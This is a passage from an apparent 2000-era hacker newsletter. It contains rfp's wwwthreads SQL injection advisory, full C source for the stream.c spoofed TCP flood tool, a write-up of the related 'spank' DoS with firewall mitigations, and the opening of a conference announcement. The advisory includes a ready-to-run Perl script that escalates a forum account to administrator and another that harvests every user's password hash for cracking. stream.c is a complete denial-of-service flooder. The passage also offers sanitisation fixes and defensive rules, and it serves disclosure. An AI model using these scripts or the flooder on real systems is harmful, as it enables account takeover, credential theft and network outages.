this case, we feed a generic select (similiar to the original) back to it.
The result of this (theoretically) is to drop (delete) the general forum
table.
But in reality, it doesn't work. Not because the theory is wrong, but
because the database user we're using doesn't have DROP privileges. And
due to how wwwthreads is written, it won't quite let you do much with
this. But all is not lost, we can just start changing all numbers left and
right, looking for where it blows up...or we can go the easy route and
download the (eval) source code from www.wwwthreads.com. Yeah, kind of
cheating, but it's not quite a one-to-one solution.
You see, the eval code and the license code (of which PacketStorm is
running) are slightly different, including their SELECT statements. So we
have to be a little creative. First, let's find the SELECT statement (or
equivalent) that's featured above.
I like to use less, so I just 'less showpost.pl', and search (the '/' key)
for 'SELECT'. We come up with
# Grab the main post number for this thread
$query = qq!
SELECT Main,Last_Post
FROM $Board
WHERE Number=$Number
!;
Wow, that's it..except the field names (Main,Last_Post,Number) are
different than the pro version (B_Main,B_Last_Post,B_Number). If we look
right above it, we see
# Once and a while it people try to just put a number into the url,
if (!$Number) {
w3t::not_right("There was a problem looking up the Post...
Which is what limits the use of the $Number parameter.
At this point let's now evaluate 'why' we want to go forth into this.
Obviously DROP'ing tables ranks right up there with other stupid DoS
tricks. You may be able to modify other people's posts, but that's lame
too. Perhaps setting up our own forum? All that information is stored in
the DB. But that's a lot of records to update. How about becoming a
moderator? Or even better, an administrator? Administrators can add,
delete, and modify forums, boards, and users. That may be a worthy goal,
although your still only limited to the realm of the forum, which makes
you a king of a very small and pitiful domain.
However, there is one thing worthy. If you make yourself a user account,
you'll notice you have to enter a password. Hmmm...those passwords are
stored someplace...like, in the database. If we hedge our 'password
reuse' theory, and combined with the fact that wwwthreads (in some
configurations) post the IP address of the poster, we have some
possibilities worth checking out.
So, let's look at this password thing. Going into 'edit profile' gives us
a password field, which looks an awful lot like a crypt hash (view the
HTML source). Damn, so the passwords are hashed. Well, that just means
you'll need a password cracker and more time before you can start checking
on password reuse. Assuming we *can* get the passwords......
Let's start with the administrator access first. The adduser.pl script is
a good place to start, since it should show us all parameters of a user.
Notice the following code
# --------------------------------------
# Check to see if this is the first user
$query = qq!
SELECT Username
FROM Users
!;
$sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.
Query: $query";
$sth -> execute() or die "Can't execute query: $query. Reason:
$DBI::errstr";
my $Status = "";
my $Security = $config{'user_security'};
my $rows = $sth -> rows;
$sth -> finish;
# -------------------------------------------------------
# If this is the first user, then status is Administrator
# otherwise they are just get normal user status.
if (!$rows){
$Status = "Administrator";
$Security = 100;
} else {
$Status = "User";
}
What this does is look to see if any users are defined. If no users are
defined, the first user added gets the Status of 'Administrator' and a
security level of 100. After that, all added users just get Status=User.
So we need to find a way to make our Status=Administrator. A full user
record can be seen a little further down...
# ------------------------------
# Put the user into the database
my $Status_q = $dbh -> quote($Status);
$Username_q = $dbh -> quote($Username);
my $Email_q = $dbh -> quote($Email);
my $Display_q = $dbh -> quote($config{'postlist'});
my $View_q = $dbh -> quote($config{'threaded'});
my $EReplies_q = $dbh -> quote("Off");
$query = qq!
INSERT INTO Users (Username,Email,Totalposts,Laston,Status,Sort,
Display,View,PostsPer,EReplies,Security,Registered)
VALUES ($Username_q,$Email_q,0,$date,$Status_q,$config{'sort'},
$Display_q,$View_q,$config{'postsperpage'},$EReplies_q,$Security,$date)
!;
Now, I should take a moment here and explain the quote() function. A
string value of "blah blah blah", when stuck into a query that looks like
"SELECT * FROM table WHERE data=$data" will wind up looking like
SELECT * FROM table WHERE data=blah blah blah
which is not valid. The database doesn't know what to do with the extra
two blah's, since they look like commands. Therefore all string data need
to be encapsulated in single quotes ('). Therefore the query should look
like
SELECT * FROM table WHERE data='blah blah blah'
which is correct. Now, in my SQL appension article I talk about 'breaking
out' of the single quote string by including your own single quote. So if
we submitted "blah blah' MORE SQL COMMANDS...", it would look like
SELECT * FROM table WHERE data='blah blah' MORE SQL COMMANDS...'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
data we submitted
This causes the SQL engine to interpret the MORE SQL COMMANDS as actual
SQL commands, since if figured the 'data' part of the string ended with
the second single quote (the one we submitted). This is a drawback of
converting data into a 'human readable' string, to be parsed back into
data again...it's hard to determine what's 'code/commands' and what's
'data'.
All is not lost, however. By submitting a '', it tells the SQL engine to
NOT end the data string, but rather only think of it as a single quote in
the data context. Therefore the following query
SELECT * FROM table WHERE data='data''more data'
makes the database look for the value "data'more data". So to keep people
from breaking out of strings and submitting extra SQL commands, all you
have to do is double up every single quote (turn ' into ''). This will
ensure that all data is indeed considered data. And this is what the
DBI->quote() function does--it will put single quotes around the string,
and double all single quotes in the string.
So after all of that explaination, the short of it is that anything that
is run through quote() is of no use to use, because we can't submit extra
SQL commands or otherwise tamper with anything fun. And if you look,
wwwthreads uses quote() extensively. So this may be rough. But all is
not lost...
You see, there are different field types. You can have strings, boolean
values, various numeric values, etc. While a string field needs to be in
the format of field='data', a numeric field doesn't use the '' (i.e.
numeric_field='2' is invalid). The correct syntax for numeric fields in
numeric_field=2. Ah ha! There's no quotes to deal with, and you can't
even use quotes anyways. The correct solution is to make sure all numeric
field data is indeed numeric (more on this later). But I'll give you a
hint...wwwthreads doesn't go that far (nor do most applications,
actually).
So, now we need a SQL statement that preferably deals with a table we are
interested in. A SELECT statement (retrieves data) is tougher, since
we'll need to include a whole 'nother query to do something other than
SELECT. INSERT and UPDATE are nice because we're already modifying
data...we can just ride in more data to update (hopefully).
Poking around brings us to a very nice spot...changeprofile.pl. This is
the script that takes data entered in editprofile.pl and enters the
changes into the database. Of course, the profile is our user profile.
This means to use this, we need a valid user account. In any event, let's
have a look-see...
# Format the query words
my $Password_q = $dbh -> quote($Password);
my $Email_q = $dbh -> quote($Email);
my $Fakeemail_q = $dbh -> quote($Fakeemail);
my $Name_q = $dbh -> quote($Name);
my $Signature_q = $dbh -> quote($Signature);
my $Homepage_q = $dbh -> quote($Homepage);
my $Occupation_q = $dbh -> quote($Occupation);
my $Hobbies_q = $dbh -> quote($Hobbies);
my $Location_q = $dbh -> quote($Location);
my $Bio_q = $dbh -> quote($Bio);
my $Username_q = $dbh -> quote($Username);
my $Display_q = $dbh -> quote($Display);
my $View_q = $dbh -> quote($View);
my $EReplies_q = $dbh -> quote($EReplies);
my $Notify_q = $dbh -> quote($Notify);
my $FontSize_q = $dbh -> quote($FontSize);
my $FontFace_q = $dbh -> quote($FontFace);
my $ICQ_q = $dbh -> quote($ICQ);
my $Post_Format_q= $dbh -> quote($Post_Format);
my $Preview_q = $dbh -> quote($Preview);
Ack! Practically everything is quoted! That means all those parameters
are useless to us. And lets peek at the final actual query that sticks
all our information back into the database
# Update the User's profile
my $query =qq!
UPDATE Users
SET Password = $Password_q,
Email = $Email_q,
Fakeemail = $Fakeemail_q,
Name = $Name_q,
Signature = $Signature_q,
Homepage = $Homepage_q,
Occupation = $Occupation_q,
Hobbies = $Hobbies_q,
Location = $Location_q,
Bio = $Bio_q,
Sort = $Sort,
Display = $Display_q,
View = $View_q,
PostsPer = $PostsPer,
EReplies = $EReplies_q,
Notify = $Notify_q,
TextCols = $TextCols,
TextRows = $TextRows,
FontSize = $FontSize_q,
FontFace = $FontFace_q,
Extra1 = $ICQ_q,
Post_Format = $Post_Format_q,
Preview = $Preview_q
WHERE Username = $Username_q
!;
Since wwwthreads nicely slaps the '_q' on the variables, it's easy to see.
See it? $Sort, $PostsPer, $TextCols, and $TextRows aren't quoted. Now,
let's figure out where that data comes from
my $Sort = $FORM{'sort_order'};
my $PostsPer = $FORM{'PostsPer'};
my $TextCols = $FORM{'TextCols'};
my $TextRows = $FORM{'TextRows'};
Wow, they're taken straight from the submitted form data. That means they
are not checked or validated in any way. Here's our chance!
Going back to structure of the user record (given above), there's a
'Status' field we need to change. Looking in this UPDATE query, Status
isn't listed. So this means that the Status field is going to remain
unchanged. Bummer. See what we're going to do yet? Take a second and
think about it.
Remember, all of this hinges around the fact that we want to submit what
looks like data, but in the end, the SQL engine/database will interpret it
differently. Notice in the query that the fields are listed in the format
of field=value, field=value, field=value, etc (of course, they're on
separate lines). If I were to insert some fake values (for the sake of
example), I might have
Name='rfp', Signature='rfp', Homepage='www.wiretrip.net/rfp/'
All I did was put the fields on the same line, collapse the whitespace,
and fill in the (quoted) string values. This is valid SQL.
Now, let's put this all together. Looking at the the 'Sort' variable
(which is numeric), we would feasibly have
Bio='puppy', Sort=5, Display='threaded'
which is still valid SQL. Since $Sort=$FORM{'sort_order'}, that means the
above value for Sort was given by submitting the parameter sort_order=5.
Now, let's use Sort to our advantage. What if we were to include a comma,
and then some more column values? Oh, say, the Status field? Let's set
the sort_order parameter to "5, Status='Administrator',", and then let it
run its course. Eventually we'll get a query that looks like
Bio='puppy', Sort=5, Status='Administrator', Display='threaded'
^^^^^^^^^^^^^^^^^^^^^^^^^^
our submitted data
This is still valid SQL! And furthermore, it will cause the database to
update the Status field to be 'Administrator'! But remember when we
looked in adduser.pl, the first user had a Security level of 100. We want
that to, so we just set the sort_order parameter to "5,
Status='Administrator', Security=100,", and then we get
Bio='puppy', Sort=5, Status='Administrator', Security=100, ...
which updates both values to what we want. The database not knowing any
better will update those two fields, and now the forums will think we're
an administrator.
So I go to apply this new technique on PacketStorm...and get a 404 for
requests to changeprofile.pl. Yep, the pro version doesn't have it.
Navigating the 'Edit Profile' menu, I see that it has 'Basic Profile',
'Display Preferences', and 'Email Notifications/Subscriptions', which the
demo does not (it's all lumped together). Wonderful. If they changed the
scripts around, they may have also changed the SQL queries (well they had
to, actually). So now we're in 'blackbox' mode (blindly making educated
guesses on what's going on). Since we want to play with the sort_order
parameter still, you'll see that it's contained in the 'Display
Preferences' script (editdisplay.pl). This script handles the sort_order,
display, view, PostPer, Post_Format, Preview, TextCols, TextRows,
FontSize, FontFace, PictureView, and PicturePost (gained by viewing the
HTML source). So it's a subset of the parameters. Using the above code
snippets, we can guess at what the SQL query looking like. So why not
give it a shot.
First I poke some invalid values into sort_order (characters instead of
numbers). This causes an error, which I figured. Since, in the first
example how the fields where 'B_' for the 'Board' table, the 'User' table
(which we are now using) prefixes colums with a 'U_'. So that means we
need to use 'U_Status' and 'U_Security' for field names. Good thing we
checked.
Since this needs to be a valid form submit, we need to submit values for
all of the listed variables. At this point I should also point out
(again) we need a valid user account of which to increase the status.
We'll need the username and password (hash), which are printed as hidden
form elements on various forms (like editdisplay.pl). You'll see the
parameters are Username and Oldpass. So based on all of this, we can
construct a URL that looks like
changedisplay.pl? Cat=&
Username=rfp
&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100
&display=threaded
&view=collapsed
&PostsPer=10
&Post_Format=top
&Preview=on
&TextCols=60
&TextRows=5
&FontSize=0
&FontFace=
&PictureView=on
&PicturePost=off
The important one of course being
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100
which is just an escaped version of what we used above (the %3d translate
to the '=' character). When you lump it all together into a single
string, you get
changedisplay.pl?Cat=&Username=rfp&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100&display=threaded
&view=collapsed&PostsPer=10&Post_Format=top&Preview=on&TextCols=60
&TextRows=5&FontSize=0&FontFace=&PictureView=on&PicturePost=off
which, while gross, is what it needs to be. So, I submit this to
PacketStorm, and get
Your display preferences have been modified.
Wonderful. But, noticing on the top menu, I see an 'Admin' option now. I
click it, and what do I see but the heart warming message of
As an Administrator the following options are available to you.
Bingo! Administrator privileges! Looking at my options, I can edit
users, boards, or forums, assign moderators and administrators, ban
users/hosts, expire/close/open threads, etc.
Now for our second objective...the passwords. I go into 'Show/Edit
Users', and am asked to pick the first letter of the usernames I'm
interested in. So I pick 'R'. At list of all 'R*' users comes up. I
click on 'rfp'. And there we go, my password hash. Unfortunately,
there's no nice and easy way to dump all users and their hashes. Bummer.
So I automated a perl script to do it for me, and dump the output in a
format that can be fed into John the Ripper.
----[ 3. Solution
Now, how to defend against this? As you saw, the reason this worked was
due to non-restricted data being passed straight into SQL queries.
Luckily wwwthreads quoted (most) string data, but they didn't touch
numeric data. The solution is to make sure numeric data is indeed
numeric. You can do it the 'silent' way by using a function like so
sub onlynumbers {
($data=shift)=~tr/0-9//cd;
return $data;}
And similar to how all string data is passed through DBI->quote(), pass
all numeric data through onlynumbers(). So, for the above example, it
would be better to use
my $Sort = onlynumbers($FORM{'sort_order'});
Another area that needs to be verified is the table name. In our very
first example, we had 'Board=general'. As you see here, a table name is
not quoted like a string. Therefore we also need to run all table names
through a function to clean them up as well. Assuming table names can
have letters, numbers, and periods, we can scrub it with
sub scrubtable {
($data=shift)=~tr/a-zA-Z0-9.//cd;
return $data;}
which will remove all other cruft.
In the end, *all* (let me repeat that... **ALL**) incoming user data
should be passed through quote(), onlynumbers(), or scrubtable()...NO
EXCEPTIONS! Passing user data straight into a SQL query is asking for
someone to tamper with your database.
New versions of wwwthreads are available from www.wwwthreads.com, which
implement the solutions pretty much as I've described them here.
----[ 4. Conclusion
I've included two scripts below. wwwthreads.pl will run the query for you
against a pro version of wwwthreads. You just have to give the ip
address of the server running wwwthreads, and a valid user and password
hash. w3tpass.pl will walk and download all wwwthreads user password
hashes, and give output suitable for password cracking with John the
Ripper.
Thanks to PacketStorm for being a good sport about this.
- Rain Forest Puppy / rfp@wiretrip.net
- I feel a rant coming on...
----[ 5. Included perl scripts
-[ wwwthreads.pl
#!/usr/bin/perl
# wwwthreads hack by rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";
#####################################################
$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";
$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";
print sendraw($tosend);
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
-[ w3tpass.pl
#!/usr/bin/perl
# download all wwwthread usernames/passwords once you're administrator
# send a fake cookie with authenciation and fake the referer
# initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$zxcvzxvczxcvzxvczxcv";
#####################################################
@letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
print STDERR "wwwthreads password snatcher by rain forest puppy\r\n";
print STDERR "Getting initial user lists...";
foreach $let (@letts){
$parms="Cat=&Start=$let";
$tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
"Cookie: Username=$username; Password=$passhash\r\n\r\n";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/showoneuser\.pl\?User=([^"]+)\"\>/){
push @users, $1;}}}
$usercount=@users;
print STDERR "$usercount users retrieved.\r\n".
"Fetching individual passwords...\r\n";
foreach $user (@users){
$parms="User=$user";
$tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
"Cookie: Username=$username; Password=$passhash\r\n\r\n";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/OldPass value = "([^"]+)"/){
($pass=$1)=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$user =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
print $user.':'.$pass."::::::::::\n";
last;}}}
print STDERR "done.\r\n\r\n";
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
# Greets to everyone who hasn't used RDS to deface a website (small crowd)
--- rain forest puppy / rfp@wiretrip.net ------------- ADM / wiretrip ---
SQL hacking has many ins, many outs; there's many levels of complexity...
--- Advisory RFP2K01 ------------------------------ rfp.labs ------------
_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listserv@listserv.ntsecurity.net
@HWA
13.0 The stream.c exploit
~~~~~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal
syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = random();
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
for(i=0;;++i) {
/*
patched by 3APA3A to send 1 syn packet + 1023 ACK packets.
*/
if( !(i&0x4FF) ) {
packet.tcp.th_sport = rand();
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
packet.tcp.th_flags = TH_SYN;
packet.tcp.th_ack = 0;
}
else {
packet.tcp.th_flags = TH_ACK;
packet.tcp.th_ack = random();
}
/* cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); */
++packet.ip.ip_id;
/*++packet.tcp.th_sport*/;
++packet.tcp.th_seq;
if (!dstport)
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream.c v1.0 - TCP Packet Storm\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) <
0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
@HWA
14.0 Spank, variation of the stream.c DoS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
------------------------------------------------
Explanation of the 'spank' attack
-- a new breed stream/raped
------------------------------------------------
By: lst (yardley@uiuc.edu)
This is a tad different than the previous release. Stream/Raped mearly
flooded the host with ack's (or no flags) and came from random ips with
random sequence numbers and/or ack numbers. The difference now is that
this not only does the previous stuff, but also directly attacks from and
to multicast addresses as well. Just as before, rate limiting should be
done to counteract its effect (the same idea as ICMP_BANDLIM). The
multicast handling should also be checked to verify that it is behaving
properly.
The attacker specifies the port[s] that they want to send the attack to,
depending on what ports are selected, you will have different net
results. If the port is an open port, then you will possibly have a longer
kernel path to follow before the drop. Therefore, a smart attacker will
hit open ports, but havoc can also come about from random ports due to
states and processing.
In the best case scenario, you will experience only the lag of the flood
and the lag of the processing (currently) and then be fine when the
attacker stops, In the worst case, you lockup, kill the network, and
possibly have to reboot. Once you patch it, you deal with a lot less
processing time (the drops are handled without the RST flag when
appropriate--bandlim type idea). In other words, you go to the drop
routine instead of dropwithrst silencing your response, which decreases
your processing time, the hit on your network, and the effect of the flood
(once a threshold is reached, all those bad packets are silently dropped
and the attack has less of a net effect).
The filters that were presented at the beginning of this email will block
all multicast packets that come out (and in) the tcp stack I have been
getting mailed a lot about this. Here is why I said the previous
statement. Receiving a packet with no flags is considered an illegal
packet (obviously) and is often dumped, however, as we have seen in
the past, illegal packets often wreak havoc and often go untested.
There is very little that "raped.c" or "stream.c" actually showed as
problems in the TCP/IP stacks. The true problem lies more in the effects
of the response (caused by the attack). This is the same concept as the
SYN floods of yesteryear, and the same type of thing will be done to handle
it. The main difference is that it will be on a simpler note because there
isn't much need for a "cookie" based system. One should just throttle the
response of the reset packets which in turn will help stop the storm that
you generate and in general, harden the tcp/ip stack to behave the way it
is supposed to.
The main effect of this attack is that you are shooting back RST+ACK's at
all the spoofed hosts. Obviously, a lot of these hosts will not exist and
you will get ICMP unreaches (as an example) bounced back at you. There are
other possibilities as well, but unreach would be the most common
(redirects might be common as well although i did not spend the time to
analyze that). The ones that don't respond back may send you some packets
back as well (depending on if the port was valid or not and what their
firewall rules are). This type of attack is complicated by the multicasts,
and the effect is amplified as well. All in all, it becomes very nasty
very quick. Basically, this causes a nice little storm of packets, in the
ideal case.
Note that I said ideal case in the previous paragraph. This is not always
the observed behavior. It all depends on what is on the subnet, what type
of packets are recieved, what rules and filters you have setup, and even
the duration of the flood. It has been pointed out several times that the
machine will go back to normal once the attack is stopped, which is exactly
why something like ICMP_BANDLIM will work.
I have also been asked a lot about what this "bug" affects. I have seen it
have effects on *BSD, Linux, Solaris, and Win* as far as OS's go. It has
also seemed to affect some hubs, switches, routers, or gateways since
entire subnets have "disappeared" briefly after the attack. The multicast
attack seems to be more deadly to teh network than the previous attack and
its affects get amplified and even carried over to the rest of the network
(bypassing secluded network bounds). I don't have more specifics on the
systems affected because of the difficulty in testing it (and keeping the
network up) since I do not have local access to the networks that I tested
on, and remote access gets real ugly real fast.
Another possibility that has been suggested as to why some machines die is
that the machine's route table is being blown up by the spoofed
packets. Each spoofed packet has a different source address which means
that a temporary route table entry is being created for each one. These
entries take time to timeout. Use 'vmstat -m' and check the 'routetbl'
field while the attack is going on.
Route table entries can be controlled somewhat under freebsd with:
[root@solid]::[~] sysctl -a | fgrep .rt
net.inet.ip.rtexpire: 3600
net.inet.ip.rtminexpire: 10
net.inet.ip.rtmaxcache: 128
You can do the following, to help if the route table is at least part of
the problem:
sysctl -w net.inet.ip.rtexpire=2
sysctl -w net.inet.ip.rtminexpire=2
Things that will help:
1. Drop all multicast packets (ingress and egress) that are addressed to
the tcp stack because multicasts are not valid for tcp.
2. Extend bandwidth limiting to include RST's, ACK's and anything else
that you feel could affect the stability of the machine.
3. Don't look for listening sockets if the packet is not a syn
I hope that this helps, or explains a little more at least.
---------------------------------------------------
Temporary remedy
---------------------------------------------------
If you use ipfilter, this MAY help you, but the issue is quite a bit
different than the previous issue.
-- start rule set --
block in quick proto tcp from any to any head 100
block in quick proto tcp from 224.0.0.0/28 to any group 100
pass in quick proto tcp from any to any flags S keep state group 100
pass out proto tcp from any to any flags S keep state
pass in all
-- end rule set --
optionally, a rule like the following could be inserted to handle outgoing
packets (if they send from the firewall somehow) but you have bigger
problems than the attack if that is the case.
-- start additional rule --
block out proto tcp from any to 224.0.0.0/28
-- end additional rule --
That will help you "stop" the attack (actually it will just help minimize
the affects), although it will still use some CPU though
Note: If you use IPFW, there is no immediate way to solve this problem due
to the fact that it is a stateless firewall. If you are getting attacked,
then temporarily use ipfilter (or any other state based firewall) to stop
it. Otherwise, wait for vendor patches or read more about the explanation
for other possible workarounds.
FreeBSD "unofficial patch" by Don Lewis:
http://solid.ncsa.uiuc.edu/~liquid/patch/don_lewis_tcp.diff
-----------------------
Conclusion
-----------------------
This bug was found in testing. It seems a bit more lethal than the
previous and should be addressed as such. Patches should be available now,
but I do not follow all the platforms.
--------------------
References
--------------------
This was done independantly, although some of the analysis and reverse
engineering of concept was done by other people. As a result, I would like
to give credit where credit is due. The following people contributed in
some way or another:
Brett Glass <brett@lariat.org>
Alfred Perlstein <bright@wintelcom.net>
Warner Losh <imp@village.org>
Darren Reed <avalon@coombs.anu.edu.au>
Don Lewis <Don.Lewis@tsc.tdk.com>
Also, I would like to send shouts out to w00w00 (http://www.w00w00.org)
-------------------
Attached
-------------------
These programs are for the sake of full disclosure, don't abuse
them. Spank was written with libnet, so you will need to obtain that as
well. You can find that at http://www.packetfactory.net/libnet
For an "unofficial" patch:
http://www.w00w00.org/files/spank/don_lewis_tcp.diff
For spank.c:
http://www.w00w00.org/files/spank/spank.c
@HWA
15.0 Canadian Security Conference announcement: CanSecWest.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Canc0n may have failed as the first security/hacker con in Canada so here
is a promising sounding event pulled off by professional boys.
CanSecWest/core00
April, 19th, 20th, 21st, 2000
Vancouver, BC, Canada.
"Every IT/Security person who can attend, should attend.CanSecWest/core00
promises to be the hardest hitting, most informative, and useful network
security event ever held in Canada."
Website: http://www.dursec.com/
Some high profile speakers are scheduled to appear:
Noted speakers include:
Ron Gula - Network Security Wizards
Famous ex-U.S. government computer security analyst, who founded Network
Security Wizards and authored the Dragon intrusion detection system. Ron will
discuss intrusion detection sensors, drawing upon his large base of practical
experience in the area.
Ken Williams - Ernst & Young
The creator of famous hacker super-site: packetstorm.securify.com.
The infamous "tattooman" from genocide2600 now of Ernst&Young's security team
will give some pointers on NT security.
Marty Roesch - www.hiverworld.com
Author of the popular "snort" intrusion detection system and senior software engineer
on Hiverworld's "ARMOR" intrusion detection system. He will talk about good ways
to "snort" out intruders.
rain.forest.puppy - www.wiretrip.net
